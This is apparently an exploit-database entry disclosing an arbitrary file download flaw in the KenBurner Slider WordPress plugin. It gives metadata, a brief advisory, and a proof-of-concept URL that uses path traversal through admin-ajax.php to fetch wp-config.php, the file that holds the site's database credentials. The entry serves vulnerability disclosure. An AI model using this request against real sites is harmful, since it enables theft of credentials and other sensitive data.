WordPress Plugin KenBurner Slider - 'admin-ajax.php' Arbitrary File Download

Author: MF0x
type: webapps
platform: php
port: 
date_added: 2014-08-24 
date_updated: 2016-01-22 
verified: 1 
codes: OSVDB-110463 
tags: WordPress Plugin
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source: https://www.securityfocus.com/bid/69387/info

The KenBurner Slider plugin for WordPress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information.

http://www.example.com/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php